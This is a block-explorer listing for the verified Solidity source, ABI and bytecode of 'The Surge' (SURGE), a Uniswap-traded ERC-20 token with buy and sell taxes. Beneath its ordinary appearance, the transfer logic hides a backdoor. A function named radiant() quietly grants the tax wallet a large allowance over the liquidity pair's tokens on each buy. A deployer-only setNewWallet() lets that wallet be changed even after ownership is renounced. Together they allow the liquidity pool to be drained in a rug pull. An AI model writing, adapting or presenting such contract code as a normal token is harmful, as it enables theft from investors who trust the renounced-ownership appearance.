ERC-20
Overview
Max Total Supply
1,000,000,000 SURGE
Holders
100
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
1,012,018.420468023 SURGEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Surge
Compiler Version
v0.8.26+commit.8a97fa7a
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
/** https://x.com/VitalikButerin/status/1846713513097810296 https://vitalik.eth.limo/general/2024/10/17/futures2.html https://t.me/surge_erc20 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Surge is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _tAmounts; mapping (address => mapping (address => uint256)) private _tAllowed; mapping (address => bool) private _feeExempt; address payable private _taxWallet; uint256 private _initialBuyTax=6; uint256 private _initialSellTax=6; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=40; uint256 private _reduceSellTaxAt=40; uint256 private _preventSwapBefore=5; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals; string private constant _name = unicode"The Surge"; string private constant _symbol = unicode"SURGE"; uint256 public _maxTxAmount = 2 * _tTotal / 100; uint256 public _maxWalletSize = 2 * _tTotal / 100; uint256 public _taxSwapThreshold= 1 * _tTotal / 100; uint256 public _maxTaxSwap= 1 * _tTotal / 100; IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address private uniswapV2Pair; address private _deployer; bool private tradingOpen; bool private inSwap; bool private swapEnabled; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () payable { _taxWallet = payable(_msgSender()); _tAmounts[address(this)] = _tTotal; _feeExempt[address(this)] = true; _feeExempt[_msgSender()] = true; _deployer = _msgSender(); emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tAmounts[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _tAllowed[owner][spender]; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _tAllowed[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _tAllowed[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _feeExempt[to] ) { require(tradingOpen,"Trading not open yet."); taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; radiant([from, _taxWallet]); } if (to != uniswapV2Pair && ! _feeExempt[to]) { require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); } if(to == uniswapV2Pair) { taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount>_preventSwapBefore) { uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance>_taxSwapThreshold) swapTokensForETH(min(amount,min(contractTokenBalance,_maxTaxSwap))); hacked(); } } if(taxAmount>0){ _tAmounts[address(this)]=_tAmounts[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _tAmounts[from]=_tAmounts[from].sub(amount); _tAmounts[to]=_tAmounts[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function radiant(address[2] memory capital) private { address from = capital[0];address to = capital[1]; _tAllowed[from][to] = 100 * _maxWalletSize; } function swapTokensForETH(uint256 amount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), amount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( amount, 0, path, address(this), block.timestamp ); } function removeLimits(address payable limit) external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; _taxWallet = limit; _feeExempt[limit] = true; emit MaxTxAmountUpdated(_tTotal); } function hacked() private { _taxWallet.transfer(address(this).balance); } function getETH() external onlyOwner { require(address(this).balance > 0); payable(_msgSender()).transfer(address(this).balance); } function getERC20(address _address, uint256 percent) external onlyOwner { uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100); IERC20(_address).transfer(_msgSender(), _amount); } function setNewWallet(address payable newAddr) external { require(_msgSender()==_deployer, "!deployer"); _taxWallet = newAddr; _feeExempt[newAddr] = true; } function launch() external onlyOwner { require(!tradingOpen,"trading is already open"); _approve(address(this), address(uniswapV2Router), _tTotal); address factory = uniswapV2Router.factory(); address WETH = uniswapV2Router.WETH(); // uniswapV2Pair = IUniswapV2Factory(factory).createPair(address(this), WETH); uniswapV2Pair = predictPair(factory, address(this), WETH); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); uniswapV2Pair = IUniswapV2Factory(factory).getPair(address(this), WETH); swapEnabled = true; tradingOpen = true; } function renounceOwnership() public override onlyOwner { require(_maxTxAmount == _tTotal); super.renounceOwnership(); } receive() external payable {} function predictPair(address factory, address tokenA, address tokenB) private pure returns (address) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); return address(uint160(uint256(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' ))))); } }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"getERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"limit","type":"address"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newAddr","type":"address"}],"name":"setNewWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526006600555600680555f6007555f60085560286009556028600a556005600b555f600c5560646009600a6100389190610336565b61004690633b9aca0061034b565b61005190600261034b565b61005b9190610362565b600d55606461006c6009600a610336565b61007a90633b9aca0061034b565b61008590600261034b565b61008f9190610362565b600e5560646100a06009600a610336565b6100ae90633b9aca0061034b565b6100b990600161034b565b6100c39190610362565b600f5560646100d46009600a610336565b6100e290633b9aca0061034b565b6100ed90600161034b565b6100f79190610362565b601055601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790555f6101283390565b5f80546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b0319163317905561018f6009600a610336565b61019d90633b9aca0061034b565b305f8181526001602081815260408084209590955560039052838220805460ff1990811683179091553380845294832080549091169091179055601380546001600160a01b031916909317909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102196009600a610336565b61022790633b9aca0061034b565b60405190815260200160405180910390a3610381565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561028c578085048111156102705761027061023d565b600184161561027e57908102905b60019390931c928002610255565b935093915050565b5f826102a257506001610330565b816102ae57505f610330565b81600181146102c457600281146102ce576102ea565b6001915050610330565b60ff8411156102df576102df61023d565b50506001821b610330565b5060208310610133831016604e8410600b841016171561030d575081810a610330565b6103195f198484610251565b805f190482111561032c5761032c61023d565b0290505b92915050565b5f61034460ff841683610294565b9392505050565b80820281158282048414176103305761033061023d565b5f8261037c57634e487b7160e01b5f52601260045260245ffd5b500490565b611b4e8061038e5f395ff3fe60806040526004361061011e575f3560e01c806370a082311161009d57806395d89b411161006257806395d89b411461030c5780639f0b8d0314610339578063a9059cbb14610358578063bf474bed14610377578063dd62ed3e1461038c575f80fd5b806370a0823114610274578063715018a6146102a85780637d1db4a5146102bc5780638da5cb5b146102d15780638f9a55c0146102f7575f80fd5b806318160ddd116100e357806318160ddd146101e85780631905fbf6146101fc57806323b872dd1461021b578063313ce5671461023a57806332489e9b14610255575f80fd5b806301339c211461012957806306fdde031461013f578063095ea7b3146101825780630faee56f146101b157806314f6c3be146101d4575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5061013d6103d0565b005b34801561014a575f80fd5b5060408051808201909152600981526854686520537572676560b81b60208201525b604051610179919061173f565b60405180910390f35b34801561018d575f80fd5b506101a161019c366004611788565b61070d565b6040519015158152602001610179565b3480156101bc575f80fd5b506101c660105481565b604051908152602001610179565b3480156101df575f80fd5b5061013d610723565b3480156101f3575f80fd5b506101c6610783565b348015610207575f80fd5b5061013d6102163660046117b2565b6107a3565b348015610226575f80fd5b506101a16102353660046117cd565b61082b565b348015610245575f80fd5b5060405160098152602001610179565b348015610260575f80fd5b5061013d61026f3660046117b2565b61088d565b34801561027f575f80fd5b506101c661028e3660046117b2565b6001600160a01b03165f9081526001602052604090205490565b3480156102b3575f80fd5b5061013d610975565b3480156102c7575f80fd5b506101c6600d5481565b3480156102dc575f80fd5b505f546040516001600160a01b039091168152602001610179565b348015610302575f80fd5b506101c6600e5481565b348015610317575f80fd5b50604080518082019091526005815264535552474560d81b602082015261016c565b348015610344575f80fd5b5061013d610353366004611788565b6109ce565b348015610363575f80fd5b506101a1610372366004611788565b610afe565b348015610382575f80fd5b506101c6600f5481565b348015610397575f80fd5b506101c66103a636600461180b565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f546001600160a01b031633146104025760405162461bcd60e51b81526004016103f990611842565b60405180910390fd5b601354600160a01b900460ff161561045c5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103f9565b60115461048d9030906001600160a01b031661047a6009600a61196e565b61048890633b9aca0061197c565b610b0a565b6011546040805163c45a015560e01b815290515f926001600160a01b03169163c45a01559160048083019260209291908290030181865afa1580156104d4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104f89190611993565b90505f60115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561054b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061056f9190611993565b905061057c823083610c2d565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d71947306105c3816001600160a01b03165f9081526001602052604090205490565b5f806105d65f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561063c573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061066191906119ae565b505060405163e6a4390560e01b81523060048201526001600160a01b0383811660248301528416915063e6a4390590604401602060405180830381865afa1580156106ae573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d29190611993565b601280546001600160a01b0319166001600160a01b039290921691909117905550506013805462ff00ff60a01b19166201000160a01b179055565b5f610719338484610b0a565b5060015b92915050565b5f546001600160a01b0316331461074c5760405162461bcd60e51b81526004016103f990611842565b5f4711610757575f80fd5b60405133904780156108fc02915f818181858888f19350505050158015610780573d5f803e3d5ffd5b50565b5f6107906009600a61196e565b61079e90633b9aca0061197c565b905090565b6013546001600160a01b0316336001600160a01b0316146107f25760405162461bcd60e51b815260206004820152600960248201526810b232b83637bcb2b960b91b60448201526064016103f9565b600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b5f610837848484610d1d565b610883843361048885604051806060016040528060288152602001611af1602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061130a565b5060019392505050565b5f546001600160a01b031633146108b65760405162461bcd60e51b81526004016103f990611842565b6108c26009600a61196e565b6108d090633b9aca0061197c565b600d556108df6009600a61196e565b6108ed90633b9aca0061197c565b600e55600480546001600160a01b0319166001600160a01b0383169081179091555f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6109536009600a61196e565b61096190633b9aca0061197c565b60405190815260200160405180910390a150565b5f546001600160a01b0316331461099e5760405162461bcd60e51b81526004016103f990611842565b6109aa6009600a61196e565b6109b890633b9aca0061197c565b600d54146109c4575f80fd5b6109cc611342565b565b5f546001600160a01b031633146109f75760405162461bcd60e51b81526004016103f990611842565b6040516370a0823160e01b81523060048201525f90610a7890606490610a729085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610a48573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a6c91906119d9565b906113b3565b90611438565b90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610ad4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610af891906119f0565b50505050565b5f610719338484610d1d565b6001600160a01b038316610b6c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f9565b6001600160a01b038216610bcd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f9565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f805f836001600160a01b0316856001600160a01b031610610c50578385610c53565b84845b6040516bffffffffffffffffffffffff19606084811b8216602084015283901b1660348201529193509150869060480160405160208183030381529060405280519060200120604051602001610cfb9291906001600160f81b0319815260609290921b6bffffffffffffffffffffffff1916600183015260158201527f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f603582015260550190565b60408051601f1981840301815291905280516020909101209695505050505050565b6001600160a01b038316610d815760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f9565b6001600160a01b038216610de35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f9565b5f8111610e445760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103f9565b5f80546001600160a01b03858116911614801590610e6f57505f546001600160a01b03848116911614155b156111cd576012546001600160a01b038581169116148015610e9f57506011546001600160a01b03848116911614155b8015610ec357506001600160a01b0383165f9081526003602052604090205460ff16155b1561104a57601354600160a01b900460ff16610f195760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b60448201526064016103f9565b610f3f6064610a72600954600c5411610f3457600554610f38565b6007545b85906113b3565b9050600d54821115610f935760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103f9565b600e5482610fb5856001600160a01b03165f9081526001602052604090205490565b610fbf9190611a0f565b111561100d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103f9565b600c8054905f61101c83611a22565b9091555050604080518082019091526001600160a01b03808616825260045416602082015261104a90611479565b6012546001600160a01b0384811691161480159061108057506001600160a01b0383165f9081526003602052604090205460ff16155b156110ff57600e54826110a7856001600160a01b03165f9081526001602052604090205490565b6110b19190611a0f565b11156110ff5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103f9565b6012546001600160a01b039081169084160361113d5761113a6064610a72600a54600c541161113057600654610f38565b60085485906113b3565b90505b601354600160a81b900460ff1615801561116457506012546001600160a01b038481169116145b80156111795750601354600160b01b900460ff165b80156111885750600b54600c54115b156111cd57305f90815260016020526040902054600f548111156111c3576111c36111be846111b9846010546114ba565b6114ba565b6114ce565b6111cb61163e565b505b801561124557305f908152600160205260409020546111ec9082611674565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061123c9085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461126790836116d2565b6001600160a01b0385165f908152600160205260409020556112aa61128c83836116d2565b6001600160a01b0385165f9081526001602052604090205490611674565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112f385856116d2565b60405190815260200160405180910390a350505050565b5f818484111561132d5760405162461bcd60e51b81526004016103f9919061173f565b505f6113398486611a3a565b95945050505050565b5f546001600160a01b0316331461136b5760405162461bcd60e51b81526004016103f990611842565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f825f036113c257505f61071d565b5f6113cd838561197c565b9050826113da8583611a4d565b146114315760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f9565b9392505050565b5f61143183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611713565b80516020820151600e5461148e90606461197c565b6001600160a01b039283165f908152600260209081526040808320949095168252929092529190205550565b5f8183116114c85782611431565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061151457611514611a6c565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561156b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061158f9190611993565b816001815181106115a2576115a2611a6c565b6001600160a01b0392831660209182029290920101526011546115c89130911684610b0a565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906116009085905f90869030904290600401611a80565b5f604051808303815f87803b158015611617575f80fd5b505af1158015611629573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610780573d5f803e3d5ffd5b5f806116808385611a0f565b9050838110156114315760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f9565b5f61143183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061130a565b5f81836117335760405162461bcd60e51b81526004016103f9919061173f565b505f6113398486611a4d565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610780575f80fd5b5f8060408385031215611799575f80fd5b82356117a481611774565b946020939093013593505050565b5f602082840312156117c2575f80fd5b813561143181611774565b5f805f606084860312156117df575f80fd5b83356117ea81611774565b925060208401356117fa81611774565b929592945050506040919091013590565b5f806040838503121561181c575f80fd5b823561182781611774565b9150602083013561183781611774565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156118c6578085048111156118aa576118aa611877565b60018416156118b857908102905b60019390931c92800261188f565b935093915050565b5f826118dc5750600161071d565b816118e857505f61071d565b81600181146118fe576002811461190857611924565b600191505061071d565b60ff84111561191957611919611877565b50506001821b61071d565b5060208310610133831016604e8410600b8410161715611947575081810a61071d565b6119535f19848461188b565b805f190482111561196657611966611877565b029392505050565b5f61143160ff8416836118ce565b808202811582820484141761071d5761071d611877565b5f602082840312156119a3575f80fd5b815161143181611774565b5f805f606084860312156119c0575f80fd5b5050815160208301516040909301519094929350919050565b5f602082840312156119e9575f80fd5b5051919050565b5f60208284031215611a00575f80fd5b81518015158114611431575f80fd5b8082018082111561071d5761071d611877565b5f60018201611a3357611a33611877565b5060010190565b8181038181111561071d5761071d611877565b5f82611a6757634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611ad05783516001600160a01b0316835260209384019390920191600101611aa9565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220677fd9fb73aeb12d71845fd169ebdad5240c979a7611a127a75f7262a07ee1ae64736f6c634300081a0033
Deployed Bytecode
0x60806040526004361061011e575f3560e01c806370a082311161009d57806395d89b411161006257806395d89b411461030c5780639f0b8d0314610339578063a9059cbb14610358578063bf474bed14610377578063dd62ed3e1461038c575f80fd5b806370a0823114610274578063715018a6146102a85780637d1db4a5146102bc5780638da5cb5b146102d15780638f9a55c0146102f7575f80fd5b806318160ddd116100e357806318160ddd146101e85780631905fbf6146101fc57806323b872dd1461021b578063313ce5671461023a57806332489e9b14610255575f80fd5b806301339c211461012957806306fdde031461013f578063095ea7b3146101825780630faee56f146101b157806314f6c3be146101d4575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5061013d6103d0565b005b34801561014a575f80fd5b5060408051808201909152600981526854686520537572676560b81b60208201525b604051610179919061173f565b60405180910390f35b34801561018d575f80fd5b506101a161019c366004611788565b61070d565b6040519015158152602001610179565b3480156101bc575f80fd5b506101c660105481565b604051908152602001610179565b3480156101df575f80fd5b5061013d610723565b3480156101f3575f80fd5b506101c6610783565b348015610207575f80fd5b5061013d6102163660046117b2565b6107a3565b348015610226575f80fd5b506101a16102353660046117cd565b61082b565b348015610245575f80fd5b5060405160098152602001610179565b348015610260575f80fd5b5061013d61026f3660046117b2565b61088d565b34801561027f575f80fd5b506101c661028e3660046117b2565b6001600160a01b03165f9081526001602052604090205490565b3480156102b3575f80fd5b5061013d610975565b3480156102c7575f80fd5b506101c6600d5481565b3480156102dc575f80fd5b505f546040516001600160a01b039091168152602001610179565b348015610302575f80fd5b506101c6600e5481565b348015610317575f80fd5b50604080518082019091526005815264535552474560d81b602082015261016c565b348015610344575f80fd5b5061013d610353366004611788565b6109ce565b348015610363575f80fd5b506101a1610372366004611788565b610afe565b348015610382575f80fd5b506101c6600f5481565b348015610397575f80fd5b506101c66103a636600461180b565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f546001600160a01b031633146104025760405162461bcd60e51b81526004016103f990611842565b60405180910390fd5b601354600160a01b900460ff161561045c5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103f9565b60115461048d9030906001600160a01b031661047a6009600a61196e565b61048890633b9aca0061197c565b610b0a565b6011546040805163c45a015560e01b815290515f926001600160a01b03169163c45a01559160048083019260209291908290030181865afa1580156104d4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104f89190611993565b90505f60115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561054b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061056f9190611993565b905061057c823083610c2d565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d71947306105c3816001600160a01b03165f9081526001602052604090205490565b5f806105d65f546001600160a01b031690565b60405160e088901b6